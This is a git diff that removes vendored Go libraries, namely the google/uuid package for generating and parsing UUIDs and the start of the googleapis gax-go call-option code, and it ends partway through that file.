deleted file mode 100644 index b4bb97f6bc..0000000000 --- a/vendor/github.com/google/uuid/CONTRIBUTORS +++ /dev/null @@ -1,9 +0,0 @@ -Paul Borman -bmatsuo -shawnps -theory -jboverfelt -dsymonds -cd1 -wallclockbuilder -dansouza diff --git a/vendor/github.com/google/uuid/LICENSE b/vendor/github.com/google/uuid/LICENSE deleted file mode 100644 index 5dc68268d9..0000000000 --- a/vendor/github.com/google/uuid/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2009,2014 Google Inc. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/google/uuid/README.md b/vendor/github.com/google/uuid/README.md deleted file mode 100644 index 21205eaeb5..0000000000 --- a/vendor/github.com/google/uuid/README.md +++ /dev/null @@ -1,23 +0,0 @@ -**This package is currently in development and the API may not be stable.** - -The API will become stable with v1. - -# uuid ![build status](https://travis-ci.org/google/uuid.svg?branch=master) -The uuid package generates and inspects UUIDs based on -[RFC 4122](http://tools.ietf.org/html/rfc4122) -and DCE 1.1: Authentication and Security Services. - -This package is based on the github.com/pborman/uuid package (previously named -code.google.com/p/go-uuid). It differs from these earlier packages in that -a UUID is a 16 byte array rather than a byte slice. One loss due to this -change is the ability to represent an invalid UUID (vs a NIL UUID). - -###### Install -`go get github.com/google/uuid` - -###### Documentation -[![GoDoc](https://godoc.org/github.com/google/uuid?status.svg)](http://godoc.org/github.com/google/uuid) - -Full `go doc` style documentation for the package can be viewed online without -installing this package by using the GoDoc site here: -http://godoc.org/github.com/google/uuid diff --git a/vendor/github.com/google/uuid/dce.go b/vendor/github.com/google/uuid/dce.go deleted file mode 100644 index a6479dbae0..0000000000 --- a/vendor/github.com/google/uuid/dce.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "encoding/binary" - "fmt" - "os" -) - -// A Domain represents a Version 2 domain -type Domain byte - -// Domain constants for DCE Security (Version 2) UUIDs. -const ( - Person = Domain(0) - Group = Domain(1) - Org = Domain(2) -) - -// NewDCESecurity returns a DCE Security (Version 2) UUID. -// -// The domain should be one of Person, Group or Org. -// On a POSIX system the id should be the users UID for the Person -// domain and the users GID for the Group. The meaning of id for -// the domain Org or on non-POSIX systems is site defined. -// -// For a given domain/id pair the same token may be returned for up to -// 7 minutes and 10 seconds. -func NewDCESecurity(domain Domain, id uint32) (UUID, error) { - uuid, err := NewUUID() - if err == nil { - uuid[6] = (uuid[6] & 0x0f) | 0x20 // Version 2 - uuid[9] = byte(domain) - binary.BigEndian.PutUint32(uuid[0:], id) - } - return uuid, err -} - -// NewDCEPerson returns a DCE Security (Version 2) UUID in the person -// domain with the id returned by os.Getuid. -// -// NewDCEPerson(Person, uint32(os.Getuid())) -func NewDCEPerson() (UUID, error) { - return NewDCESecurity(Person, uint32(os.Getuid())) -} - -// NewDCEGroup returns a DCE Security (Version 2) UUID in the group -// domain with the id returned by os.Getgid. -// -// NewDCEGroup(Group, uint32(os.Getgid())) -func NewDCEGroup() (UUID, error) { - return NewDCESecurity(Group, uint32(os.Getgid())) -} - -// Domain returns the domain for a Version 2 UUID. Domains are only defined -// for Version 2 UUIDs. -func (uuid UUID) Domain() Domain { - return Domain(uuid[9]) -} - -// ID returns the id for a Version 2 UUID. IDs are only defined for Version 2 -// UUIDs. -func (uuid UUID) ID() uint32 { - return binary.BigEndian.Uint32(uuid[0:4]) -} - -func (d Domain) String() string { - switch d { - case Person: - return "Person" - case Group: - return "Group" - case Org: - return "Org" - } - return fmt.Sprintf("Domain%d", int(d)) -} diff --git a/vendor/github.com/google/uuid/doc.go b/vendor/github.com/google/uuid/doc.go deleted file mode 100644 index 5b8a4b9af8..0000000000 --- a/vendor/github.com/google/uuid/doc.go +++ /dev/null @@ -1,12 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package uuid generates and inspects UUIDs. -// -// UUIDs are based on RFC 4122 and DCE 1.1: Authentication and Security -// Services. -// -// A UUID is a 16 byte (128 bit) array. UUIDs may be used as keys to -// maps or compared directly. -package uuid diff --git a/vendor/github.com/google/uuid/hash.go b/vendor/github.com/google/uuid/hash.go deleted file mode 100644 index 4fc5a77df5..0000000000 --- a/vendor/github.com/google/uuid/hash.go +++ /dev/null @@ -1,53 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "crypto/md5" - "crypto/sha1" - "hash" -) - -// Well known namespace IDs and UUIDs -var ( - NameSpaceDNS = Must(Parse("6ba7b810-9dad-11d1-80b4-00c04fd430c8")) - NameSpaceURL = Must(Parse("6ba7b811-9dad-11d1-80b4-00c04fd430c8")) - NameSpaceOID = Must(Parse("6ba7b812-9dad-11d1-80b4-00c04fd430c8")) - NameSpaceX500 = Must(Parse("6ba7b814-9dad-11d1-80b4-00c04fd430c8")) - Nil UUID // empty UUID, all zeros -) - -// NewHash returns a new UUID derived from the hash of space concatenated with -// data generated by h. The hash should be at least 16 byte in length. The -// first 16 bytes of the hash are used to form the UUID. The version of the -// UUID will be the lower 4 bits of version. NewHash is used to implement -// NewMD5 and NewSHA1. -func NewHash(h hash.Hash, space UUID, data []byte, version int) UUID { - h.Reset() - h.Write(space[:]) - h.Write([]byte(data)) - s := h.Sum(nil) - var uuid UUID - copy(uuid[:], s) - uuid[6] = (uuid[6] & 0x0f) | uint8((version&0xf)<<4) - uuid[8] = (uuid[8] & 0x3f) | 0x80 // RFC 4122 variant - return uuid -} - -// NewMD5 returns a new MD5 (Version 3) UUID based on the -// supplied name space and data. It is the same as calling: -// -// NewHash(md5.New(), space, data, 3) -func NewMD5(space UUID, data []byte) UUID { - return NewHash(md5.New(), space, data, 3) -} - -// NewSHA1 returns a new SHA1 (Version 5) UUID based on the -// supplied name space and data. It is the same as calling: -// -// NewHash(sha1.New(), space, data, 5) -func NewSHA1(space UUID, data []byte) UUID { - return NewHash(sha1.New(), space, data, 5) -} diff --git a/vendor/github.com/google/uuid/marshal.go b/vendor/github.com/google/uuid/marshal.go deleted file mode 100644 index 84bbc5880b..0000000000 --- a/vendor/github.com/google/uuid/marshal.go +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import "fmt" - -// MarshalText implements encoding.TextMarshaler. -func (uuid UUID) MarshalText() ([]byte, error) { - var js [36]byte - encodeHex(js[:], uuid) - return js[:], nil -} - -// UnmarshalText implements encoding.TextUnmarshaler. -func (uuid *UUID) UnmarshalText(data []byte) error { - // See comment in ParseBytes why we do this. - // id, err := ParseBytes(data) - id, err := ParseBytes(data) - if err == nil { - *uuid = id - } - return err -} - -// MarshalBinary implements encoding.BinaryMarshaler. -func (uuid UUID) MarshalBinary() ([]byte, error) { - return uuid[:], nil -} - -// UnmarshalBinary implements encoding.BinaryUnmarshaler. -func (uuid *UUID) UnmarshalBinary(data []byte) error { - if len(data) != 16 { - return fmt.Errorf("invalid UUID (got %d bytes)", len(data)) - } - copy(uuid[:], data) - return nil -} diff --git a/vendor/github.com/google/uuid/node.go b/vendor/github.com/google/uuid/node.go deleted file mode 100644 index 5f0156a2e6..0000000000 --- a/vendor/github.com/google/uuid/node.go +++ /dev/null @@ -1,103 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "net" - "sync" -) - -var ( - nodeMu sync.Mutex - interfaces []net.Interface // cached list of interfaces - ifname string // name of interface being used - nodeID [6]byte // hardware for version 1 UUIDs - zeroID [6]byte // nodeID with only 0's -) - -// NodeInterface returns the name of the interface from which the NodeID was -// derived. The interface "user" is returned if the NodeID was set by -// SetNodeID. -func NodeInterface() string { - defer nodeMu.Unlock() - nodeMu.Lock() - return ifname -} - -// SetNodeInterface selects the hardware address to be used for Version 1 UUIDs. -// If name is "" then the first usable interface found will be used or a random -// Node ID will be generated. If a named interface cannot be found then false -// is returned. -// -// SetNodeInterface never fails when name is "". -func SetNodeInterface(name string) bool { - defer nodeMu.Unlock() - nodeMu.Lock() - return setNodeInterface(name) -} - -func setNodeInterface(name string) bool { - if interfaces == nil { - var err error - interfaces, err = net.Interfaces() - if err != nil && name != "" { - return false - } - } - - for _, ifs := range interfaces { - if len(ifs.HardwareAddr) >= 6 && (name == "" || name == ifs.Name) { - copy(nodeID[:], ifs.HardwareAddr) - ifname = ifs.Name - return true - } - } - - // We found no interfaces with a valid hardware address. If name - // does not specify a specific interface generate a random Node ID - // (section 4.1.6) - if name == "" { - randomBits(nodeID[:]) - return true - } - return false -} - -// NodeID returns a slice of a copy of the current Node ID, setting the Node ID -// if not already set. -func NodeID() []byte { - defer nodeMu.Unlock() - nodeMu.Lock() - if nodeID == zeroID { - setNodeInterface("") - } - nid := nodeID - return nid[:] -} - -// SetNodeID sets the Node ID to be used for Version 1 UUIDs. The first 6 bytes -// of id are used. If id is less than 6 bytes then false is returned and the -// Node ID is not set. -func SetNodeID(id []byte) bool { - if len(id) < 6 { - return false - } - defer nodeMu.Unlock() - nodeMu.Lock() - copy(nodeID[:], id) - ifname = "user" - return true -} - -// NodeID returns the 6 byte node id encoded in uuid. It returns nil if uuid is -// not valid. The NodeID is only well defined for version 1 and 2 UUIDs. -func (uuid UUID) NodeID() []byte { - if len(uuid) != 16 { - return nil - } - var node [6]byte - copy(node[:], uuid[10:]) - return node[:] -} diff --git a/vendor/github.com/google/uuid/sql.go b/vendor/github.com/google/uuid/sql.go deleted file mode 100644 index 528ad0de51..0000000000 --- a/vendor/github.com/google/uuid/sql.go +++ /dev/null @@ -1,58 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "database/sql/driver" - "fmt" -) - -// Scan implements sql.Scanner so UUIDs can be read from databases transparently -// Currently, database types that map to string and []byte are supported. Please -// consult database-specific driver documentation for matching types. -func (uuid *UUID) Scan(src interface{}) error { - switch src.(type) { - case string: - // if an empty UUID comes from a table, we return a null UUID - if src.(string) == "" { - return nil - } - - // see Parse for required string format - u, err := Parse(src.(string)) - - if err != nil { - return fmt.Errorf("Scan: %v", err) - } - - *uuid = u - case []byte: - b := src.([]byte) - - // if an empty UUID comes from a table, we return a null UUID - if len(b) == 0 { - return nil - } - - // assumes a simple slice of bytes if 16 bytes - // otherwise attempts to parse - if len(b) != 16 { - return uuid.Scan(string(b)) - } - copy((*uuid)[:], b) - - default: - return fmt.Errorf("Scan: unable to scan type %T into UUID", src) - } - - return nil -} - -// Value implements sql.Valuer so that UUIDs can be written to databases -// transparently. Currently, UUIDs map to strings. Please consult -// database-specific driver documentation for matching types. -func (uuid UUID) Value() (driver.Value, error) { - return uuid.String(), nil -} diff --git a/vendor/github.com/google/uuid/time.go b/vendor/github.com/google/uuid/time.go deleted file mode 100644 index fd7fe0ac46..0000000000 --- a/vendor/github.com/google/uuid/time.go +++ /dev/null @@ -1,123 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "encoding/binary" - "sync" - "time" -) - -// A Time represents a time as the number of 100's of nanoseconds since 15 Oct -// 1582. -type Time int64 - -const ( - lillian = 2299160 // Julian day of 15 Oct 1582 - unix = 2440587 // Julian day of 1 Jan 1970 - epoch = unix - lillian // Days between epochs - g1582 = epoch * 86400 // seconds between epochs - g1582ns100 = g1582 * 10000000 // 100s of a nanoseconds between epochs -) - -var ( - timeMu sync.Mutex - lasttime uint64 // last time we returned - clockSeq uint16 // clock sequence for this run - - timeNow = time.Now // for testing -) - -// UnixTime converts t the number of seconds and nanoseconds using the Unix -// epoch of 1 Jan 1970. -func (t Time) UnixTime() (sec, nsec int64) { - sec = int64(t - g1582ns100) - nsec = (sec % 10000000) * 100 - sec /= 10000000 - return sec, nsec -} - -// GetTime returns the current Time (100s of nanoseconds since 15 Oct 1582) and -// clock sequence as well as adjusting the clock sequence as needed. An error -// is returned if the current time cannot be determined. -func GetTime() (Time, uint16, error) { - defer timeMu.Unlock() - timeMu.Lock() - return getTime() -} - -func getTime() (Time, uint16, error) { - t := timeNow() - - // If we don't have a clock sequence already, set one. - if clockSeq == 0 { - setClockSequence(-1) - } - now := uint64(t.UnixNano()/100) + g1582ns100 - - // If time has gone backwards with this clock sequence then we - // increment the clock sequence - if now <= lasttime { - clockSeq = ((clockSeq + 1) & 0x3fff) | 0x8000 - } - lasttime = now - return Time(now), clockSeq, nil -} - -// ClockSequence returns the current clock sequence, generating one if not -// already set. The clock sequence is only used for Version 1 UUIDs. -// -// The uuid package does not use global static storage for the clock sequence or -// the last time a UUID was generated. Unless SetClockSequence is used, a new -// random clock sequence is generated the first time a clock sequence is -// requested by ClockSequence, GetTime, or NewUUID. (section 4.2.1.1) -func ClockSequence() int { - defer timeMu.Unlock() - timeMu.Lock() - return clockSequence() -} - -func clockSequence() int { - if clockSeq == 0 { - setClockSequence(-1) - } - return int(clockSeq & 0x3fff) -} - -// SetClockSeq sets the clock sequence to the lower 14 bits of seq. Setting to -// -1 causes a new sequence to be generated. -func SetClockSequence(seq int) { - defer timeMu.Unlock() - timeMu.Lock() - setClockSequence(seq) -} - -func setClockSequence(seq int) { - if seq == -1 { - var b [2]byte - randomBits(b[:]) // clock sequence - seq = int(b[0])<<8 | int(b[1]) - } - old_seq := clockSeq - clockSeq = uint16(seq&0x3fff) | 0x8000 // Set our variant - if old_seq != clockSeq { - lasttime = 0 - } -} - -// Time returns the time in 100s of nanoseconds since 15 Oct 1582 encoded in -// uuid. The time is only defined for version 1 and 2 UUIDs. -func (uuid UUID) Time() Time { - time := int64(binary.BigEndian.Uint32(uuid[0:4])) - time |= int64(binary.BigEndian.Uint16(uuid[4:6])) << 32 - time |= int64(binary.BigEndian.Uint16(uuid[6:8])&0xfff) << 48 - return Time(time) -} - -// ClockSequence returns the clock sequence encoded in uuid. -// The clock sequence is only well defined for version 1 and 2 UUIDs. -func (uuid UUID) ClockSequence() int { - return int(binary.BigEndian.Uint16(uuid[8:10])) & 0x3fff -} diff --git a/vendor/github.com/google/uuid/util.go b/vendor/github.com/google/uuid/util.go deleted file mode 100644 index 5ea6c73780..0000000000 --- a/vendor/github.com/google/uuid/util.go +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "io" -) - -// randomBits completely fills slice b with random data. -func randomBits(b []byte) { - if _, err := io.ReadFull(rander, b); err != nil { - panic(err.Error()) // rand should never fail - } -} - -// xvalues returns the value of a byte as a hexadecimal digit or 255. -var xvalues = [256]byte{ - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 255, 255, 255, 255, 255, 255, - 255, 10, 11, 12, 13, 14, 15, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 10, 11, 12, 13, 14, 15, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, -} - -// xtob converts hex characters x1 and x2 into a byte. -func xtob(x1, x2 byte) (byte, bool) { - b1 := xvalues[x1] - b2 := xvalues[x2] - return (b1 << 4) | b2, b1 != 255 && b2 != 255 -} diff --git a/vendor/github.com/google/uuid/uuid.go b/vendor/github.com/google/uuid/uuid.go deleted file mode 100644 index b7b9ced315..0000000000 --- a/vendor/github.com/google/uuid/uuid.go +++ /dev/null @@ -1,191 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "bytes" - "crypto/rand" - "encoding/hex" - "errors" - "fmt" - "io" - "strings" -) - -// A UUID is a 128 bit (16 byte) Universal Unique IDentifier as defined in RFC -// 4122. -type UUID [16]byte - -// A Version represents a UUID's version. -type Version byte - -// A Variant represents a UUID's variant. -type Variant byte - -// Constants returned by Variant. -const ( - Invalid = Variant(iota) // Invalid UUID - RFC4122 // The variant specified in RFC4122 - Reserved // Reserved, NCS backward compatibility. - Microsoft // Reserved, Microsoft Corporation backward compatibility. - Future // Reserved for future definition. -) - -var rander = rand.Reader // random function - -// Parse decodes s into a UUID or returns an error. Both the UUID form of -// xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx and -// urn:uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx are decoded. -func Parse(s string) (UUID, error) { - var uuid UUID - if len(s) != 36 { - if len(s) != 36+9 { - return uuid, fmt.Errorf("invalid UUID length: %d", len(s)) - } - if strings.ToLower(s[:9]) != "urn:uuid:" { - return uuid, fmt.Errorf("invalid urn prefix: %q", s[:9]) - } - s = s[9:] - } - if s[8] != '-' || s[13] != '-' || s[18] != '-' || s[23] != '-' { - return uuid, errors.New("invalid UUID format") - } - for i, x := range [16]int{ - 0, 2, 4, 6, - 9, 11, - 14, 16, - 19, 21, - 24, 26, 28, 30, 32, 34} { - if v, ok := xtob(s[x], s[x+1]); !ok { - return uuid, errors.New("invalid UUID format") - } else { - uuid[i] = v - } - } - return uuid, nil -} - -// ParseBytes is like Parse, except it parses a byte slice instead of a string. -func ParseBytes(b []byte) (UUID, error) { - var uuid UUID - if len(b) != 36 { - if len(b) != 36+9 { - return uuid, fmt.Errorf("invalid UUID length: %d", len(b)) - } - if !bytes.Equal(bytes.ToLower(b[:9]), []byte("urn:uuid:")) { - return uuid, fmt.Errorf("invalid urn prefix: %q", b[:9]) - } - b = b[9:] - } - if b[8] != '-' || b[13] != '-' || b[18] != '-' || b[23] != '-' { - return uuid, errors.New("invalid UUID format") - } - for i, x := range [16]int{ - 0, 2, 4, 6, - 9, 11, - 14, 16, - 19, 21, - 24, 26, 28, 30, 32, 34} { - if v, ok := xtob(b[x], b[x+1]); !ok { - return uuid, errors.New("invalid UUID format") - } else { - uuid[i] = v - } - } - return uuid, nil -} - -// Must returns uuid if err is nil and panics otherwise. -func Must(uuid UUID, err error) UUID { - if err != nil { - panic(err) - } - return uuid -} - -// String returns the string form of uuid, xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -// , or "" if uuid is invalid. -func (uuid UUID) String() string { - var buf [36]byte - encodeHex(buf[:], uuid) - return string(buf[:]) -} - -// URN returns the RFC 2141 URN form of uuid, -// urn:uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, or "" if uuid is invalid. -func (uuid UUID) URN() string { - var buf [36 + 9]byte - copy(buf[:], "urn:uuid:") - encodeHex(buf[9:], uuid) - return string(buf[:]) -} - -func encodeHex(dst []byte, uuid UUID) { - hex.Encode(dst[:], uuid[:4]) - dst[8] = '-' - hex.Encode(dst[9:13], uuid[4:6]) - dst[13] = '-' - hex.Encode(dst[14:18], uuid[6:8]) - dst[18] = '-' - hex.Encode(dst[19:23], uuid[8:10]) - dst[23] = '-' - hex.Encode(dst[24:], uuid[10:]) -} - -// Variant returns the variant encoded in uuid. -func (uuid UUID) Variant() Variant { - switch { - case (uuid[8] & 0xc0) == 0x80: - return RFC4122 - case (uuid[8] & 0xe0) == 0xc0: - return Microsoft - case (uuid[8] & 0xe0) == 0xe0: - return Future - default: - return Reserved - } -} - -// Version returns the version of uuid. -func (uuid UUID) Version() Version { - return Version(uuid[6] >> 4) -} - -func (v Version) String() string { - if v > 15 { - return fmt.Sprintf("BAD_VERSION_%d", v) - } - return fmt.Sprintf("VERSION_%d", v) -} - -func (v Variant) String() string { - switch v { - case RFC4122: - return "RFC4122" - case Reserved: - return "Reserved" - case Microsoft: - return "Microsoft" - case Future: - return "Future" - case Invalid: - return "Invalid" - } - return fmt.Sprintf("BadVariant%d", int(v)) -} - -// SetRand sets the random number generator to r, which implents io.Reader. -// If r.Read returns an error when the package requests random data then -// a panic will be issued. -// -// Calling SetRand with nil sets the random number generator to the default -// generator. -func SetRand(r io.Reader) { - if r == nil { - rander = rand.Reader - return - } - rander = r -} diff --git a/vendor/github.com/google/uuid/version1.go b/vendor/github.com/google/uuid/version1.go deleted file mode 100644 index 22dc07cdce..0000000000 --- a/vendor/github.com/google/uuid/version1.go +++ /dev/null @@ -1,44 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import ( - "encoding/binary" -) - -// NewUUID returns a Version 1 UUID based on the current NodeID and clock -// sequence, and the current time. If the NodeID has not been set by SetNodeID -// or SetNodeInterface then it will be set automatically. If the NodeID cannot -// be set NewUUID returns nil. If clock sequence has not been set by -// SetClockSequence then it will be set automatically. If GetTime fails to -// return the current NewUUID returns Nil and an error. -// -// In most cases, New should be used. -func NewUUID() (UUID, error) { - nodeMu.Lock() - if nodeID == zeroID { - setNodeInterface("") - } - nodeMu.Unlock() - - var uuid UUID - now, seq, err := GetTime() - if err != nil { - return uuid, err - } - - timeLow := uint32(now & 0xffffffff) - timeMid := uint16((now >> 32) & 0xffff) - timeHi := uint16((now >> 48) & 0x0fff) - timeHi |= 0x1000 // Version 1 - - binary.BigEndian.PutUint32(uuid[0:], timeLow) - binary.BigEndian.PutUint16(uuid[4:], timeMid) - binary.BigEndian.PutUint16(uuid[6:], timeHi) - binary.BigEndian.PutUint16(uuid[8:], seq) - copy(uuid[10:], nodeID[:]) - - return uuid, nil -} diff --git a/vendor/github.com/google/uuid/version4.go b/vendor/github.com/google/uuid/version4.go deleted file mode 100644 index 390dd2cad4..0000000000 --- a/vendor/github.com/google/uuid/version4.go +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright 2016 Google Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package uuid - -import "io" - -// New is creates a new random UUID or panics. New is equivalent to -// the expression -// -// uuid.Must(uuid.NewRandom()) -func New() UUID { - return Must(NewRandom()) -} - -// NewRandom returns a Random (Version 4) UUID or panics. -// -// The strength of the UUIDs is based on the strength of the crypto/rand -// package. -// -// A note about uniqueness derived from from the UUID Wikipedia entry: -// -// Randomly generated UUIDs have 122 random bits. One's annual risk of being -// hit by a meteorite is estimated to be one chance in 17 billion, that -// means the probability is about 0.00000000006 (6 × 10−11), -// equivalent to the odds of creating a few tens of trillions of UUIDs in a -// year and having one duplicate. -func NewRandom() (UUID, error) { - var uuid UUID - _, err := io.ReadFull(rander, uuid[:]) - if err != nil { - return Nil, err - } - uuid[6] = (uuid[6] & 0x0f) | 0x40 // Version 4 - uuid[8] = (uuid[8] & 0x3f) | 0x80 // Variant is 10 - return uuid, nil -} diff --git a/vendor/github.com/googleapis/gax-go/v2/LICENSE b/vendor/github.com/googleapis/gax-go/v2/LICENSE deleted file mode 100644 index 6d16b6578a..0000000000 --- a/vendor/github.com/googleapis/gax-go/v2/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright 2016, Google Inc. -All rights reserved. -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/googleapis/gax-go/v2/call_option.go b/vendor/github.com/googleapis/gax-go/v2/call_option.go deleted file mode 100644 index b1d53dd19c..0000000000 --- a/vendor/github.com/googleapis/gax-go/v2/call_option.go +++ /dev/null @@ -1,161 +0,0 @@ -// Copyright 2016, Google Inc. -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package gax - -import ( - "math/rand" - "time" - - "google.golang.org/grpc" - "google.golang.org/grpc/codes" - "google.golang.org/grpc/status" -) - -// CallOption is an option used by Invoke to control behaviors of RPC calls. -// CallOption works by modifying relevant fields of CallSettings. -type CallOption interface { - // Resolve applies the option by modifying cs. - Resolve(cs *CallSettings) -} - -// Retryer is used by Invoke to determine retry behavior. -type Retryer interface { - // Retry reports whether a request should be retriedand how long to pause before retrying - // if the previous attempt returned with err. Invoke never calls Retry with nil error. - Retry(err error) (pause time.Duration, shouldRetry bool) -} - -type retryerOption func() Retryer - -func (o retryerOption) Resolve(s *CallSettings) { - s.Retry = o -} - -// WithRetry sets CallSettings.Retry to fn. -func WithRetry(fn func() Retryer) CallOption { - return retryerOption(fn) -} - -// OnCodes returns a 